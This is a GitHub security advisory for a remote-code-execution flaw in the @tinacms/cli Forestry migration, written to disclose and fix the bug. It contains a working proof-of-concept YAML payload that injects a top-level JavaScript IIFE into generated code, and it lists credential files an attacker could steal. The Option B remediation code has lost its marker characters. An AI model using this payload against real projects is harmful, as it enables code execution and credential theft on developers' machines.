Skip to content

@tinacms/cli: Remote Code Execution in @tinacms/cli via Forestry migration — unsanitised __TINA_INTERNAL__ marker in user-controlled YAML labels

High severity GitHub Reviewed Published Jun 9, 2026 in tinacms/tinacms • Updated Jun 19, 2026

Package

npm @tinacms/cli (npm)

Affected versions

< 2.4.3

Patched versions

2.4.3

Description

Description

Summary

@tinacms/cli contains a Remote Code Execution vulnerability in its
Forestry-to-Tina migration command. The internal helper addVariablesToCode
unquotes any value matching the marker "__TINA_INTERNAL__:::(.*?):::"
inside the stringified collection JSON. User-supplied label and name
fields from .forestry/**/*.yml are placed into that JSON without any
sanitisation. An attacker who controls a Forestry-style project can therefore
inject arbitrary JavaScript into the generated tina/templates.{ts,js}
file. The injected code is written at module top level, so it executes
the moment the developer runs tinacms dev or tinacms build, with the
developer's privileges.

Details

Vulnerable code path:

  1. packages/@tinacms/cli/src/cmds/forestry-migrate/util/index.ts
    transformForestryFieldsToTinaFields() writes forestryField.label
    (and .name) straight into TinaField objects (no sanitisation).

  2. packages/@tinacms/cli/src/cmds/forestry-migrate/util/codeTransformer.ts,
    lines 16-22 — the regex-based unquoter:

    export const addVariablesToCode = (codeWithTinaPrefix: string) => {
      const code = codeWithTinaPrefix.replace(
        /"__TINA_INTERNAL__:::(.*?):::"/g,
        '$1'
      );
      return { code };
    };
  3. codeTransformer.ts lines 80-88 — the field array is
    JSON.stringify-ed and then handed to addVariablesToCode. Because
    JSON.stringify does not escape single quotes or backticks, an
    attacker who avoids " in the payload survives the JSON pass intact.

  4. packages/@tinacms/cli/src/cmds/init/apply.ts lines 110-116 — the
    resulting string is written to tina/templates.{ts,js} and imported by
    the generated tina/config.{ts,js}, which tinacms dev evaluates.

Why it executes immediately: the regex unquoting allows the attacker's
payload to close the surrounding object/array and the enclosing
xxxFields() function
, drop a top-level IIFE, and then start a dummy
function that swallows the trailing JSON. The IIFE is at module scope,
so it runs the instant tina/config.ts imports ./templates.

PoC

End-to-end verified against tinacms and @tinacms/cli@2.3.1, built from
commit ae1ab5d0f of tinacms/tinacms on Windows 11 + Node.js v24
(behaviour is identical on Node 22).

Step 1 — attacker prepares a malicious Forestry project

.forestry/settings.yml

---
new_page_extension: md
auto_deploy: false
admin_path: ''
webhook_url: ''
sections:
- type: directory
  path: content/posts
  label: Posts
  create: all
  match: "**/*.md"
  templates:
  - rce

.forestry/front_matter/templates/rce.yml

---
label: rce_template
fields:
- name: title
  type: text
  label: "__TINA_INTERNAL__:::1}] }; (function(){ const fs=require('fs'); const os=require('os'); fs.writeFileSync(require('path').join(os.tmpdir(),'PWNED_PROOF.txt'), 'RCE triggered on ' + os.hostname() + ' at ' + new Date().toISOString()); console.log('=== RCE SUCCESSFUL ==='); })(); function _ignore_(){ return [{x:1:::"

Note on payload encoding. The original disclosure draft used double
quotes inside the payload (console.log("RCE")). JSON.stringify escapes
those to \", which makes the generated TypeScript syntactically invalid
and is rejected by Prettier before the file is written. Using single
quotes or backticks for the inner string literals is required for the
exploit to succeed.

Step 2 — victim runs the standard onboarding flow

git clone <attacker repo>
cd <attacker repo>
npx tinacms init       # accepts the "migrate Forestry templates?" prompt
npx tinacms dev        # OR: npx tinacms build

Step 3 — generated tina/templates.ts (verbatim, from a clean run)

import type { TinaField } from "tinacms";
export function rce_templateFields() {
  return [{ type: "string", name: "title", label: 1 }];
}
(function () {                                          // <-- TOP-LEVEL IIFE
  const fs = require("fs");
  const os = require("os");
  fs.writeFileSync(
    require("path").join(os.tmpdir(), "PWNED_PROOF.txt"),
    "RCE triggered on " + os.hostname() + " at " + new Date().toISOString()
  );
  console.log("=== RCE SUCCESSFUL ===");
})();
function _ignore_() {
  return [{ x: 1 }] as TinaField[];
}

Step 4 — observed result

$ npx tinacms dev --noTelemetry --no-server
🦙 TinaCMS Dev Server is initializing...
=== RCE SUCCESSFUL ===
Cannot read properties of undefined (reading 'publicFolder')

$ cat "$TEMP/PWNED_PROOF.txt"
RCE triggered on <hostname> at 2026-05-23T06:57:29.800Z

The === RCE SUCCESSFUL === line is printed before the dev server
fails on the (intentionally minimal) config, proving the malicious code
executed during config evaluation.

Impact

  • Class: Remote Code Execution (code injection into a generated source
    file that is automatically executed by the dev server/build).
  • Attack vector: Any developer who runs tinacms init on a Forestry
    project they did not author (e.g. a starter template, a community fork,
    a "convert my site to Tina" service, an evaluation of a third-party
    CMS migration) and then runs tinacms dev or tinacms build.
  • Privileges obtained: Full execution under the developer's user
    account. Practical consequences include:
    • Exfiltration of environment variables, .env files, SSH keys,
      ~/.aws/credentials, ~/.npmrc tokens, ~/.config/gh/hosts.yml.
    • Source-code modification (planting backdoors before the developer's
      next commit / publish).
    • Supply-chain abuse via the developer's npm publish and git push
      credentials.
    • Persistence via shell rc files or scheduled tasks.
  • Authentication: None required from the attacker.
  • User interaction: Required — victim must run the migration and then
    the dev/build command. The migration prompt defaults to "yes".

Suggested Remediation

Either fix is sufficient; Option B is preferred because it is
structurally impossible to bypass and does not silently drop user content.

Option A — sanitise user-controlled strings (the disclosure draft's proposal)

// packages/@tinacms/cli/src/cmds/forestry-migrate/util/index.ts
const sanitizeString = (str: unknown): unknown =>
  typeof str === 'string'
    ? str.replace(/__TINA_INTERNAL__:::/g, '')
    : str;

Apply to every user-controlled string that flows into a TinaField
object — at minimum forestryField.label, forestryField.name,
forestryField.template, forestryField.config.options[*],
forestryField.config.source.section, and the equivalents on nested
fields/template_types recursive paths.

Option B — change the marker to a sequence that cannot survive JSON.stringify of user data

// codeTransformer.ts
const MARKER_OPEN  = '�__TINA_INTERNAL__�';
const MARKER_CLOSE = '�/__TINA_INTERNAL__�';

export const addVariablesToCode = (s: string) => ({
  code: s.replace(
    new RegExp(`"${MARKER_OPEN}(.*?)${MARKER_CLOSE}"`, 'g'),
    '$1'
  ),
});

JSON.stringify escapes to the six-character sequence
, so any literal control character supplied via YAML can never
reconstruct the marker. The internal callers (makeFieldsWithInternalCode)
keep emitting real bytes, so the legitimate flow continues to
work and no user content is silently mutated.

Defence-in-depth

Regardless of which option ships, the migration code should also:

  • Reject forestryField.label / .name that contain newlines or NUL
    bytes (Forestry never produced them).
  • Wrap the eventual prettier.format(...) call so that if formatting
    fails the build aborts (today an exception is propagated, which is
    good — keep it that way).

Credit

Reported by AnGrY-Althaf (angry.althaf@gmail.com).

End-to-end PoC executed locally against
tinacms@2.3.1 / @tinacms/cli@2.3.1 built from commit ae1ab5d0f
of https://github.com/tinacms/tinacms.

References

@18-th 18-th published to tinacms/tinacms Jun 9, 2026
Published to the GitHub Advisory Database Jun 19, 2026
Reviewed Jun 19, 2026
Last updated Jun 19, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(24th percentile)

Weaknesses

Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. Learn more on MITRE.

CVE ID

CVE-2026-54074

GHSA ID

GHSA-4936-9hrh-qqpw

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.